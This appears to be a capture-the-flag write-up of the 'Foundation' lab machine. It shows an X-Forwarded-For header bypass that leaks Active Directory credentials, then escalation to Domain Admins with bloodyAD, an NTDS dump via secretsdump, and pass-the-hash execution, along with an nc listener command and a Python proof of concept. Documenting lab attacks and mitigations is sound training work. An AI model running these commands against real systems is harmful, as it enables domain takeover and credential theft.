$ cd /blog

Foundation - HC Writeup

2026-04-10·6 min read·
ctfwebssrfaspnetactive-directoryprivilege-escalation

Target Information

  • IP Address: 172.16.13.44 (Foundation Web App) / 172.16.15.138 (DC01 Active Directory)
  • Difficulty: Medium
  • Tags: Web, SSRF, ASP.NET, Active Directory, Privilege Escalation

Reconnaissance

Port Scanning

Initial enumeration with nmap:

$bash
nmap -sS -p- -T4 -sV -sC -oN tcp_full.txt -vvv 172.16.7.83

Results:

$code
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP

Web Enumeration

Debug Mode Enabled and Sensitive Headers Leak

Initial request to the Foundation application exposed ASP.NET debug indicators and internal build metadata.

Endpoint: http://172.16.13.44:80/

Request:

$http
GET / HTTP/1.1
Host: 172.16.13.44
User-Agent: curl

Response:

$http
HTTP/1.1 200 OK
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Foundation-Version: 4.2.1
X-Debug-Mode: enabled
X-Internal-Build: foundation-platform-4.2.1+20260331.dc01

Debug Endpoint with IP-Based Access Control

Directory enumeration revealed a diagnostics endpoint that returned HTTP 403 for external requests.

Endpoint: /api/v2/diagnostics/boot_strap?data=1

Request:

$http
GET /api/v2/diagnostics/boot_strap?data=1 HTTP/1.1
Host: 172.16.13.44

Response:

$http
HTTP/1.1 403 Forbidden
Content-Type: application/json
 
{"error":"Access denied from external IPs"}

Exploitation: Server-Side Request Forgery via X-Forwarded-For

Bypass IP-Based Access Control

The application trusted the X-Forwarded-For header to decide whether the request originated from localhost, allowing access to an internal debug endpoint.

Payload:

$json
{
  "X-Forwarded-For": "127.0.0.1"
}

Command:

$bash
curl -s -H "X-Forwarded-For: 127.0.0.1" \
  "http://172.16.13.44:80/api/v2/diagnostics/boot_strap?data=1"

Result:

$json
{
  "status": "healthy",
  "timestamp": "2026-04-10T14:40:06Z",
  "build": "foundation-platform-4.2.1+20260331.dc01",
  "host": "DC01",
  "environment": "production",
  "debug_mode": true,
  "_debug": {
    "warning": "debug block active -- disable before next release",
    "auth_bootstrap": {
      "endpoint": "/api/v2/diagnostics/boot_strap",
      "domain": "foundation.hc",
      "svc_user": "c.jung",
      "svc_pass": "Str0ng#J4ng2026!@763",
      "purpose": "AD read-only sync account -- AuthGuard session rebuild"
    },
    "internal_endpoints": [
      { "method": "POST", "path": "/api/v2/internal/auth-bootstrap" },
      { "method": "GET",  "path": "/api/v2/diagnostics/boot_strap" },
      { "method": "POST", "path": "/api/v2/internal/node-heartbeat" },
      { "method": "POST", "path": "/api/v2/internal/deploy-trigger" }
    ]
  }
}

Reverse Shell

Listener:

$bash
nc -lvnp 4444

Payload:

$bash
N/A - the compromise chain used credential abuse, NTDS extraction, and pass-the-hash instead of a reverse shell.

Result:

$bash
[+] No reverse shell used in this path

Post-Exploitation

Environment Enumeration

With the leaked service account credentials, Active Directory enumeration identified the domain structure and additional pivot opportunities.

$bash
ldapsearch -H ldap://172.16.15.138 -D "foundation.hc\c.jung" \
  -w "Str0ng#J4ng2026!@763" -b "DC=foundation,DC=hc" \
  "(objectClass=user)" sAMAccountName

Findings:

  • Domain: foundation.hc
  • DC: DC01.foundation.hc (172.16.15.138)
  • Service account c.jung was valid for LDAP enumeration
  • Additional credentials were identified for f.dostoevsky

Privilege Escalation: Domain Admin Escalation and NTDS Dump

Enumeration

The next step used the secondary account f.dostoevsky with NTLM hash a82cec796a84ea3d3587808d26155e4b to modify group membership and elevate c.jung.

$bash
bloodyAD -u f.dostoevsky -p :a82cec796a84ea3d3587808d26155e4b \
        -d foundation.hc --host 172.16.15.138 \
        add groupMember "Domain Admins" "c.jung"

Exploitation

After elevating c.jung to Domain Admins, the NTDS database was dumped and the Administrator NTLM hash was used for pass-the-hash remote execution.

$bash
secretsdump.py foundation.hc/c.jung:Str0ng#J4ng2026!@763@172.16.15.138 -just-dc
 
nxc smb 172.16.15.138 -u Administrator \
  -H b34ab5945871eb2ec5ba9cc261379e3c -d foundation.hc \
  --exec-method atexec \
  -x "powershell -c \"Get-ChildItem 'C:\Users\*\Desktop' -Recurse \
      -Include user.txt,flag.txt,root.txt -ErrorAction SilentlyContinue | \
      Select FullName; echo '=== CONTENT ==='; \
      Get-ChildItem 'C:\Users\*\Desktop' -Recurse \
      -Include user.txt,flag.txt,root.txt -ErrorAction SilentlyContinue | \
      ForEach-Object { Get-Content \$_.FullName }\""

Result:

$bash
# whoami
nt authority\system

ROOT OBTAINED!

Attack Chain Summary

$code
1. Port Scan and Service Detection
   ↓
2. Debug Header Disclosure
   ↓
3. X-Forwarded-For Access Control Bypass
   ↓
4. Service Account Credential Disclosure
   ↓
5. Active Directory Enumeration
   ↓
6. Add c.jung to Domain Admins
   ↓
7. Dump NTDS and Recover Administrator Hash
   ↓
8. Pass-the-Hash Command Execution
   ↓
9. Root Access

Vulnerabilities Summary

VulnerabilityCWESeverityImpact
Debug Mode Information DisclosureCWE-215CriticalExposed internal build metadata and debug state
Insecure Trust in X-Forwarded-ForCWE-348CriticalBypassed IP-based protections on internal endpoint
Hardcoded Credentials in Debug OutputCWE-798CriticalLeaked valid AD service account credentials
Weak Internal Endpoint ProtectionCWE-284HighSensitive diagnostics reachable without real authentication
Excessive Active Directory PermissionsCWE-269HighAllowed escalation to Domain Admin and full domain compromise

Mitigation Recommendations

Application Level

  1. Disable Debug Mode in Production:
    • Remove production debug settings and prevent verbose diagnostic exposure.
$xml
<compilation debug="false" />
  1. Do Not Trust Client-Supplied Forwarding Headers:
    • Accept X-Forwarded-For only from trusted reverse proxies and enforce server-side source validation.
$csharp
if (trustedProxyIPs.Contains(request.RemoteAddr)) {
    clientIP = request.Headers["X-Forwarded-For"];
}
  1. Protect Internal Diagnostics with Authentication:
    • Require strong authentication and authorization for all internal maintenance endpoints.
$http
Authorization: Bearer <internal-service-token>

System Level

  1. Restrict Service Account Permissions:
    • Limit c.jung to the minimum directory permissions required for sync operations.
$bash
dsacls "DC=foundation,DC=hc" /G "foundation.hc\c.jung:GR"
  1. Monitor Privileged Directory Changes and Secret Access:
    • Alert on group membership changes, DCSync-like operations, and NTDS extraction attempts.
$powershell
Get-WinEvent -LogName Security

Tools Used

  • nmap - Network scanning and service enumeration
  • curl - HTTP requests and header manipulation
  • feroxbuster - Endpoint discovery
  • ldapsearch - LDAP enumeration
  • bloodyAD - Active Directory group manipulation
  • Impacket - NTDS dumping with secretsdump.py
  • NetExec - Pass-the-hash command execution

Proof of Concept Scripts

SSRF Bypass POC

$python
#!/usr/bin/env python3
import requests
 
target = "http://172.16.13.44:80/api/v2/diagnostics/boot_strap?data=1"
headers = {"X-Forwarded-For": "127.0.0.1"}
 
response = requests.get(target, headers=headers, timeout=10)
print(response.text)

References

CWE References:

Author: cbxcvl Date: 2026-04-10 Machine: Foundation - HackingClub CTF